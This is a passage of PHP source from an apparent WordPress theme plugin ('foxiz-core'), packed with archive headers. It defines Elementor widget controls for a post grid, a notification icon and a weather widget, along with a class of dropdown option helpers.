'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_grid_small_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_grid_small_1( $settings ); } } }elementor/notification-icon.php000064400000016665147206624460012714 0ustar00start_controls_section( 'general-section', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'header_notification_url', array( 'label' => esc_html__( 'Destination Link', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a destination URL for the notification panel.', 'foxiz-core' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_size', array( 'label' => esc_html__( 'Icon Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom font size for the notification icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'font-size: {{VALUE}}px;', '{{WRAPPER}} span.wnav-svg' => 'width: {{VALUE}}px;', ), ) ); $this->add_control( 'icon_height', array( 'label' => esc_html__( 'Icon Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom height value for the notification icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .notification-icon-inner' => 'min-height: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'flex-start' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'flex-end' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .notification-icon' => 'justify-content: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color', array( 'label' => esc_html__( 'Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the notification icon.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_color', array( 'label' => esc_html__( 'Dark Mode - Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the notification icon in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} i.wnav-icon' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'notification_color', array( 'label' => esc_html__( 'Notification Dot Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the notification dot icon.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .notification-info' => 'background-color: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'dropdown-section', array( 'label' => esc_html__( 'Dropdown Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'form_position', array( 'label' => esc_html__( 'Dropdown Right Position', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'input a right relative position for notification dropdown, for example: -200', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown' => 'right: {{VALUE}}px; left: auto;' ), ) ); $this->add_control( 'bg_from', array( 'label' => esc_html__( 'Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the dropdown section.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .header-dropdown-outer .notification-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'bg_to', array( 'label' => esc_html__( 'Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the dropdown section.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown-outer .notification-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_from', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the dropdown section in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown-outer .notification-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_to', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the dropdown section in the dark mode.', 'foxiz-core' ), 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown-outer .notification-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'header_notification_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select color scheme for the search form to fit with your background.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_header_notification' ) ) { \foxiz_header_notification( $this->get_settings() ); } } }elementor/weather.php000064400000012421147206624460010721 0ustar00start_controls_section( 'section_title', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Title', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'rows' => 2, 'description' => esc_html__( 'Input your title.', 'foxiz-core' ), 'default' => esc_html__( 'Weather', 'foxiz-core' ), ) ); $this->add_control( 'units', array( 'label' => esc_html__( 'Units:', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => array( 'C' => esc_html__( '°C', 'foxiz-core' ), 'F' => esc_html__( '°F', 'foxiz-core' ), ), 'default' => 'C', ) ); $this->add_control( 'location', array( 'label' => esc_html__( 'Location:', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'rows' => 2, 'description' => '' . esc_html__( 'Find your location', 'foxiz-core' ) . '  ' . esc_html__( '(i.e: London, GB)', 'foxiz-core' ), 'default' => esc_html__( 'London', 'foxiz-core' ), ) ); $this->add_control( 'api_key', array( 'label' => esc_html__( 'Weather API Key:', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => '' . esc_html__( 'How to get API key', 'foxiz-core' ) . '', 'default' => '' ) ); $this->add_control( 'forecast_days', array( 'label' => esc_html__( 'Forecast:', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => array( '1' => esc_html__( '1 day', 'foxiz-core' ), '2' => esc_html__( '2 days', 'foxiz-core' ), '3' => esc_html__( '3 days', 'foxiz-core' ), '4' => esc_html__( '4 days', 'foxiz-core' ), '5' => esc_html__( '5 days', 'foxiz-core' ), 'hide' => esc_html__( 'Do not display', 'foxiz-core' ), ), 'default' => '5', ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .rb-w-title.h4', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Location Font', 'foxiz-core' ), 'name' => 'location_font', 'selector' => '{{WRAPPER}} .rb-header-name', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Current Temperature Font', 'foxiz-core' ), 'name' => 'temp_font', 'selector' => '{{WRAPPER}} .rb-w-header .rb-w-units span', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'rb_weather_data' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \rb_weather_data( array( 'title' => $settings['title'], 'location' => $settings['location'], 'api_key' => $settings['api_key'], 'units' => $settings['units'], 'forecast_days' => $settings['forecast_days'], 'color_scheme' => $settings['color_scheme'], ) ); } } }elementor/control.php000064400000103616147206624460010751 0ustar00 esc_html__( '- Default -', 'foxiz-core' ), '1' => esc_html__( 'Enable', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); } else { return array( '1' => esc_html__( 'Enable', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); } } /** * @param false $dynamic * @param string $post_type * * @return array */ static function cat_dropdown( $dynamic = false, $post_type = 'post' ) { $data = array( '0' => esc_html__( '-- All categories --', 'foxiz-core' ), ); if ( $dynamic ) { $data['dynamic'] = esc_html__( 'Dynamic Query', 'foxiz-core' ); } $categories = get_categories( array( 'hide_empty' => 0, 'type' => $post_type, 'parent' => '0' ) ); $pos = 1; foreach ( $categories as $index => $item ) { $children = get_categories( array( 'hide_empty' => 0, 'type' => $post_type, 'child_of' => $item->term_id, ) ); if ( ! empty( $children ) ) { array_splice( $categories, $pos + $index, 0, $children ); $pos += count( $children ); } } foreach ( $categories as $item ) { $deep = ''; if ( ! empty( $item->parent ) ) { $deep = '--'; } $data[ $item->term_id ] = $deep . ' ' . esc_attr( $item->name ) . ' - [ID: ' . esc_attr( $item->term_id ) . ' / Posts: ' . foxiz_count_posts_category( $item ) . ']'; } return $data; } static function cat_slug_dropdown( $post_type = 'post', $empty_label = '' ) { if ( empty( $empty_label ) ) { $empty_label = esc_html__( '-- All categories --', 'foxiz-core' ); } $data = array( 0 => $empty_label, ); $categories = get_categories( array( 'hide_empty' => 0, 'type' => $post_type, 'parent' => '0' ) ); $pos = 1; foreach ( $categories as $index => $item ) { $children = get_categories( array( 'hide_empty' => 0, 'type' => $post_type, 'child_of' => $item->term_id, ) ); if ( ! empty( $children ) ) { array_splice( $categories, $pos + $index, 0, $children ); $pos += count( $children ); } } foreach ( $categories as $item ) { $deep = ''; if ( ! empty( $item->parent ) ) { $deep = '--'; } $data[ $item->slug ] = $deep . ' ' . $item->name . ' [Posts: ' . \foxiz_count_posts_category( $item ) . ']'; } return $data; } static function order_dropdown() { return array( 'date_post' => esc_html__( 'Latest Posts', 'foxiz-core' ), 'update' => esc_html__( 'Last Updated', 'foxiz-core' ), 'comment_count' => esc_html__( 'Popular Comment', 'foxiz-core' ), 'popular' => esc_html__( 'Popular', 'foxiz-core' ), 'popular_m' => esc_html__( 'Popular Published last 30 Days', 'foxiz-core' ), 'popular_w' => esc_html__( 'Popular Published last 7 Days', 'foxiz-core' ), 'top_review' => esc_html__( 'Top Review', 'foxiz-core' ), 'last_review' => esc_html__( 'Latest Review', 'foxiz-core' ), 'post_type' => esc_html__( 'Post Type', 'foxiz-core' ), 'sponsored' => esc_html__( 'Latest Sponsored', 'foxiz-core' ), 'rand' => esc_html__( 'Random', 'foxiz-core' ), 'author' => esc_html__( 'Author', 'foxiz-core' ), 'alphabetical_order_decs' => esc_html__( 'Title DECS', 'foxiz-core' ), 'alphabetical_order_asc' => esc_html__( 'Title ACS', 'foxiz-core' ), 'by_input' => esc_html__( 'by input IDs Data (Post IDs filter)', 'foxiz-core' ) ); } static function format_dropdown() { return array( '0' => esc_html__( '-- All --', 'foxiz-core' ), 'default' => esc_html__( '- Default -', 'foxiz-core' ), 'gallery' => esc_html__( 'Gallery', 'foxiz-core' ), 'video' => esc_html__( 'Video', 'foxiz-core' ), 'audio' => esc_html__( 'Audio', 'foxiz-core' ) ); } static function author_dropdown() { $blogusers = get_users( array( 'role__not_in' => array( 'subscriber' ), 'fields' => array( 'ID', 'display_name' ) ) ); $dropdown = array( '0' => esc_html__( '--All Authors--', 'foxiz-core' ) ); if ( is_array( $blogusers ) ) { foreach ( $blogusers as $user ): $dropdown[ esc_attr( $user->ID ) ] = esc_attr( $user->display_name ); endforeach; } return $dropdown; } /** * @param bool $default * * @return array|string[] */ static function heading_html_dropdown( $default = true ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz-core' ), 'h1' => esc_html__( 'H1', 'foxiz-core' ), 'h2' => esc_html__( 'H2', 'foxiz-core' ), 'h3' => esc_html__( 'H3', 'foxiz-core' ), 'h4' => esc_html__( 'H4', 'foxiz-core' ), 'h5' => esc_html__( 'H5', 'foxiz-core' ), 'h6' => esc_html__( 'H6', 'foxiz-core' ), 'p' => esc_html__( 'p tag', 'foxiz-core' ), 'span' => esc_html__( 'span', 'foxiz-core' ) ); if ( ! $default ) { unset( $settings['0'] ); } return $settings; } static function excerpt_dropdown() { return array( '0' => esc_html__( '- Default -', 'foxiz-core' ), '1' => esc_html__( 'Custom Settings Below', 'foxiz-core' ) ); } static function excerpt_source_dropdown() { return array( '0' => esc_html__( 'Use Post Excerpt', 'foxiz-core' ), 'tagline' => esc_html__( 'Use Title Tagline', 'foxiz-core' ), ); } /** * @param bool $default * * @return array */ static function standard_entry_category_dropdown( $default = true ) { $settings = array( '0' => esc_html__( 'Default from Theme Option', 'foxiz-core' ), 'bg-1' => esc_html__( 'Background 1', 'foxiz-core' ), 'bg-1,big' => esc_html__( 'Background 1 (Big)', 'foxiz-core' ), 'bg-2' => esc_html__( 'Background 2', 'foxiz-core' ), 'bg-2,big' => esc_html__( 'Background 2 (Big)', 'foxiz-core' ), 'bg-3' => esc_html__( 'Background 3', 'foxiz-core' ), 'bg-3,big' => esc_html__( 'Background 3 (Big)', 'foxiz-core' ), 'bg-4' => esc_html__( 'Background 4', 'foxiz-core' ), 'bg-4,big' => esc_html__( 'Background 4 (Big)', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); if ( ! $default ) { unset( $settings[0] ); } return $settings; } static function extended_entry_category_dropdown( $default = true ) { $settings = array( '0' => esc_html__( 'Default from Theme Option', 'foxiz-core' ), 'bg-1' => esc_html__( 'Background 1', 'foxiz-core' ), 'bg-1,big' => esc_html__( 'Background 1 (Big)', 'foxiz-core' ), 'bg-2' => esc_html__( 'Background 2', 'foxiz-core' ), 'bg-2,big' => esc_html__( 'Background 2 (Big)', 'foxiz-core' ), 'bg-3' => esc_html__( 'Background 3', 'foxiz-core' ), 'bg-3,big' => esc_html__( 'Background 3 (Big)', 'foxiz-core' ), 'bg-4' => esc_html__( 'Background 4', 'foxiz-core' ), 'bg-4,big' => esc_html__( 'Background 4 (Big)', 'foxiz-core' ), 'text' => esc_html__( 'Only Text', 'foxiz-core' ), 'text,big' => esc_html__( 'Only Text (Big)', 'foxiz-core' ), 'border' => esc_html__( 'Border', 'foxiz-core' ), 'border,big' => esc_html__( 'Border (Big)', 'foxiz-core' ), 'b-dotted' => esc_html__( 'Bottom Dotted', 'foxiz-core' ), 'b-dotted,big' => esc_html__( 'Bottom Dotted (Big)', 'foxiz-core' ), 'b-border' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'b-border,big' => esc_html__( 'Bottom Border (Big)', 'foxiz-core' ), 'l-dot' => esc_html__( 'Left Dot', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); if ( ! $default ) { unset( $settings[0] ); } return $settings; } static function entry_meta_dropdown() { return array( '0' => esc_html__( 'Default from Theme Option', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ), 'custom' => esc_html__( 'Custom Below', 'foxiz-core' ), ); } static function sponsor_dropdown( $default = true ) { if ( $default ) { return array( '0' => esc_html__( '- Default -', 'foxiz-core' ), '1' => esc_html__( 'Enable', 'foxiz-core' ), '2' => esc_html__( 'Enable without Label', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); } else { return array( '1' => esc_html__( 'Enable', 'foxiz-core' ), '2' => esc_html__( 'Enable without Label', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); } } /** * @param bool $default * * @return array */ static function entry_format_dropdown( $default = true ) { $settings = array( '0' => esc_html__( 'Default from Theme Option', 'foxiz-core' ), 'bottom' => esc_html__( 'Bottom Right', 'foxiz-core' ), 'bottom,big' => esc_html__( 'Bottom Right (Big Icon) ', 'foxiz-core' ), 'top' => esc_html__( 'Top', 'foxiz-core' ), 'top,big' => esc_html__( 'Top (Big Icon)', 'foxiz-core' ), 'center' => esc_html__( 'Center', 'foxiz-core' ), 'center,big' => esc_html__( 'Center (Big Icon)', 'foxiz-core' ), 'after-category' => esc_html__( 'After Entry Category', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); if ( ! $default ) { unset( $settings['0'] ); } return $settings; } /** * @param bool $default * * @return array */ static function review_dropdown( $default = true ) { $settings = array( '0' => esc_html__( 'Default from Theme Option', 'foxiz-core' ), '1' => esc_html__( 'Enable', 'foxiz-core' ), 'replace' => esc_html__( 'Replace for Entry Meta', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); if ( ! $default ) { unset( $settings[0] ); } return $settings; } /** * @param array $configs * * @return array * columns_dropdown */ static function columns_dropdown( $configs = array() ) { $settings = array(); $default = array( '0' => esc_html__( '- Default -', 'foxiz-core' ), '1' => esc_html__( '1 Column', 'foxiz-core' ), '2' => esc_html__( '2 Columns', 'foxiz-core' ), '3' => esc_html__( '3 Columns', 'foxiz-core' ), '4' => esc_html__( '4 Columns', 'foxiz-core' ), '5' => esc_html__( '5 Columns', 'foxiz-core' ), '6' => esc_html__( '6 Columns', 'foxiz-core' ), '7' => esc_html__( '7 Columns', 'foxiz-core' ), ); if ( ! is_array( $configs ) || ! count( $configs ) ) { return $default; } foreach ( $configs as $item ) { $settings[ $item ] = $default[ $item ]; } return $settings; } /** * @return array * column_gap_dropdown */ static function column_gap_dropdown() { return array( '0' => esc_html__( '- Default -', 'foxiz-core' ), 'none' => esc_html__( 'No Gap', 'foxiz-core' ), '5' => esc_html__( '10px', 'foxiz-core' ), '7' => esc_html__( '14px', 'foxiz-core' ), '10' => esc_html__( '20px', 'foxiz-core' ), '15' => esc_html__( '30px', 'foxiz-core' ), '20' => esc_html__( '40px', 'foxiz-core' ), '25' => esc_html__( '50px', 'foxiz-core' ), '30' => esc_html__( '60px', 'foxiz-core' ), '35' => esc_html__( '70px', 'foxiz-core' ), 'custom' => esc_html__( 'Custom Value', 'foxiz-core' ) ); } /** * @param array $disabled * * @return array * pagination dropdown */ static function pagination_dropdown( $disabled = array() ) { $settings = array( '0' => esc_html__( '- Disable -', 'foxiz-core' ), 'next_prev' => esc_html__( 'Next Prev', 'foxiz-core' ), 'load_more' => esc_html__( 'Show More', 'foxiz-core' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'foxiz-core' ) ); if ( count( $disabled ) ) { foreach ( $disabled as $key ) { unset( $settings[ $key ] ); } } return $settings; } /** * @return array */ static function archive_builder_pagination_dropdown() { return array( 'number' => esc_html__( 'Numeric', 'foxiz-core' ), 'simple' => esc_html__( 'Simple', 'foxiz-core' ), 'load_more' => esc_html__( 'Show More (ajax)', 'foxiz-core' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll (ajax)', 'foxiz-core' ), ); } /** * @return array */ static function crop_size_dropdown( $default = true ) { $settings = array(); if ( $default ) { $settings['0'] = esc_html__( '- Default -', 'foxiz-core' ); } $sizes = foxiz_calc_crop_sizes(); foreach ( $sizes as $size => $data ) { if ( isset( $data[0] ) && isset( $data[1] ) ) { $settings[ $size ] = $data[0] . 'x' . $data[1]; } } return $settings; } /** * @return array */ static function featured_position_dropdown( $default = true ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz-core' ), 'left' => esc_html__( 'Left', 'foxiz-core' ), 'right' => esc_html__( 'Right', 'foxiz-core' ), ); if ( ! $default ) { unset( $settings[0] ); } return $settings; } /** * @return array */ static function entry_meta_tags_dropdown() { return array( 'avatar' => esc_html__( 'avatar (Author Avatar)', 'foxiz-core' ), 'author' => esc_html__( 'author (Author)', 'foxiz-core' ), 'date' => esc_html__( 'date (Publish Date)', 'foxiz-core' ), 'category' => esc_html__( 'category (Categories)', 'foxiz-core' ), 'tag' => esc_html__( 'tag (Tags)', 'foxiz-core' ), 'view' => esc_html__( 'view (Post Views)', 'foxiz-core' ), 'comment' => esc_html__( 'comment (Comments)', 'foxiz-core' ), 'update' => esc_html__( 'update (Last Updated)', 'foxiz-core' ), 'read' => esc_html__( 'read (Reading Time)', 'foxiz-core' ), 'custom' => esc_html__( 'custom (Custom)', 'foxiz-core' ) ); } /** * @param bool $default * * @return array */ static function hide_dropdown( $default = true ) { if ( $default ) { return array( '0' => esc_html__( '- Default -', 'foxiz-core' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz-core' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz-core' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz-core' ), '-1' => esc_html__( 'Disable', 'foxiz-core' ) ); } else { return array( '0' => esc_html__( '- Disable -', 'foxiz-core' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz-core' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz-core' ), 'all' => esc_html__( 'Tablet & Mobile', 'foxiz-core' ) ); } } static function box_style_dropdown() { return array( '0' => esc_html__( '- Default -', 'foxiz-core' ), 'bg' => esc_html__( 'Background', 'foxiz-core' ), 'border' => esc_html__( 'Border', 'foxiz-core' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ) ); } static function column_border_dropdown() { return array( '0' => esc_html__( '- Disable -', 'foxiz-core' ), 'gray' => esc_html__( 'Gray Solid', 'foxiz-core' ), 'dark' => esc_html__( 'Dark Solid', 'foxiz-core' ), 'gray-dot' => esc_html__( 'Gray Dotted', 'foxiz-core' ), 'dark-dot' => esc_html__( 'Dark Dotted', 'foxiz-core' ), 'gray-dash' => esc_html__( 'Gray Dashed', 'foxiz-core' ), 'dark-dash' => esc_html__( 'Dark Dashed', 'foxiz-core' ), ); } /** * @return array */ static function ad_size_dropdown() { return array( '1' => esc_html__( 'Leaderboard (728x90)', 'foxiz-core' ), '2' => esc_html__( 'Banner (468x60)', 'foxiz-core' ), '3' => esc_html__( 'Half banner (234x60)', 'foxiz-core' ), '4' => esc_html__( 'Button (125x125)', 'foxiz-core' ), '5' => esc_html__( 'Skyscraper (120x600)', 'foxiz-core' ), '6' => esc_html__( 'Wide Skyscraper (160x600)', 'foxiz-core' ), '7' => esc_html__( 'Small Rectangle (180x150)', 'foxiz-core' ), '8' => esc_html__( 'Vertical Banner (120 x 240)', 'foxiz-core' ), '9' => esc_html__( 'Small Square (200x200)', 'foxiz-core' ), '10' => esc_html__( 'Square (250x250)', 'foxiz-core' ), '11' => esc_html__( 'Medium Rectangle (300x250)', 'foxiz-core' ), '12' => esc_html__( 'Large Rectangle (336x280)', 'foxiz-core' ), '13' => esc_html__( 'Half Page (300x600)', 'foxiz-core' ), '14' => esc_html__( 'Portrait (300x1050)', 'foxiz-core' ), '15' => esc_html__( 'Mobile Banner (320x50)', 'foxiz-core' ), '16' => esc_html__( 'Large Leaderboard (970x90)', 'foxiz-core' ), '17' => esc_html__( 'Billboard (970x250)', 'foxiz-core' ), '18' => esc_html__( 'Mobile Banner (320x100)', 'foxiz-core' ), '19' => esc_html__( 'Mobile Friendly (300x100)', 'foxiz-core' ), '-1' => esc_html__( 'Hide on Desktop', 'foxiz-core' ), ); } static function vertical_align_dropdown( $default = true ) { if ( $default ) { return array( '0' => esc_html__( '- Default -', 'foxiz-core' ), '1' => esc_html__( 'Middle', 'foxiz-core' ), '-1' => esc_html__( 'Bottom', 'foxiz-core' ), '2' => esc_html__( 'Top', 'foxiz-core' ), ); } else { return array( '1' => esc_html__( 'Middle', 'foxiz-core' ), '-1' => esc_html__( 'Bottom', 'foxiz-core' ), '2' => esc_html__( 'Top', 'foxiz-core' ), ); } } /** settings subtitle & description */ static function category_description() { return esc_html__( 'Filter posts by category.', 'foxiz-core' ); } static function categories_description() { return esc_html__( 'Filter posts by multiple category IDs, separated category IDs by commas (for example: 1,2,3).', 'foxiz-core' ); } static function tags_description() { return esc_html__( 'Filter posts by tag slugs, separated by commas (for example: tagslug1,tagslug2,tagslug3).', 'foxiz-core' ); } static function tag_not_in_description() { return esc_html__( 'Exclude tag slugs, separated by commas (for example: tagslug1,tagslug2,tagslug3).', 'foxiz-core' ); } static function format_description() { return esc_html__( 'Filter posts by post format.', 'foxiz-core' ); } static function author_description() { return esc_html__( 'Filter posts by post author.', 'foxiz-core' ); } static function post_not_in_description() { return esc_html__( 'Exclude posts by Post IDs, separated by commas (for example: 1,2,3).', 'foxiz-core' ); } static function post_in_description() { return esc_html__( 'Filter posts by post IDs. separated by commas (for example: 1,2,3).', 'foxiz-core' ); } static function order_description() { return esc_html__( 'Select a sort order type for queried posts.', 'foxiz-core' ); } static function posts_per_page_description() { return esc_html__( 'Select a number of posts to show at once.', 'foxiz-core' ); } static function offset_description() { return esc_html__( 'Select number of posts to pass over. Leave this option blank to set at the beginning.', 'foxiz-core' ); } static function heading_html_description() { return esc_html__( 'Select a title HTML tag for the main title.', 'foxiz-core' ); } static function sub_heading_html_description() { return esc_html__( 'Select a title HTML tag for the secondary titles.', 'foxiz-core' ); } static function crop_size() { return esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz-core' ); } static function featured_position_description() { return esc_html__( 'Select a position of the featured image for this layout.', 'foxiz-core' ); } static function display_ratio_description() { return esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz-core' ); } static function entry_category_description() { return esc_html__( 'Enable or disable category info on the post featured image.', 'foxiz-core' ); } static function entry_category_size_description() { return esc_html__( 'Input custom font size value for the entry category of this layout. Leave blank if you would like to set it as the default.', 'foxiz-core' ); } static function entry_meta_description() { return esc_html__( 'Enable or disable the post entry meta.', 'foxiz-core' ); } static function entry_meta_tags_description() { return esc_html__( 'Input custom entry meta tags to show, separate by comma. For example: avatar,author,date. Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]', 'foxiz-core' ); } static function entry_meta_tags_placeholder() { return 'avatar, author, date, category, tag, view, comment, update, read, custom'; } static function review_description() { return esc_html__( 'Disable or select setting for the post review meta.', 'foxiz-core' ); } static function entry_format_description() { return esc_html__( 'Enable or disable the post format icon.', 'foxiz-core' ); } static function entry_format_size_description() { return esc_html__( 'Input custom font size value for the post format icon of this layout. Leave blank if you would like to set it as the default.', 'foxiz-core' ); } static function excerpt_size_description() { return esc_html__( 'Input custom font size value for the post excerpt. Leave blank if you would like to set it as the default.', 'foxiz-core' ); } static function review_meta_description() { return esc_html__( 'Enable or disable the short meta description in the entry review bar.', 'foxiz-core' ); } static function bookmark_description() { return esc_html__( 'Enable or disable the bookmark.', 'foxiz-core' ); } static function excerpt_description() { return esc_html__( 'Select settings for the post excerpt.', 'foxiz-core' ); } static function max_excerpt_description() { return esc_html__( 'Leave this option blank or set 0 to disable. Choose "Custom Settings Below" in the above "Excerpt" option to activate this setting.', 'foxiz-core' ); } static function excerpt_source_description() { return esc_html__( 'Select a source of content to display for the post excerpt. Choose "Custom Settings Below" in the above "Excerpt" option to activate this setting.', 'foxiz-core' ); } static function readmore_description() { return esc_html__( 'Enable or disable the read more button.', 'foxiz-core' ); } static function columns_description() { return esc_html__( 'Select total columns to show per row.', 'foxiz-core' ); } static function columns_tablet_description() { return esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz-core' ); } static function columns_mobile_description() { return esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz-core' ); } static function column_gap_description() { return esc_html__( 'Select a spacing between columns. Select "Custom Value" if you would like input it manually.', 'foxiz-core' ); } static function column_gap_custom_description() { return esc_html__( 'Input 1/2 value of the custom gap between columns (in px) for desktop, tablet and mobile devices. The spacing will be 2x your input value.', 'foxiz-core' ); } static function column_border_description() { return esc_html__( 'Display vertical borders between columns.', 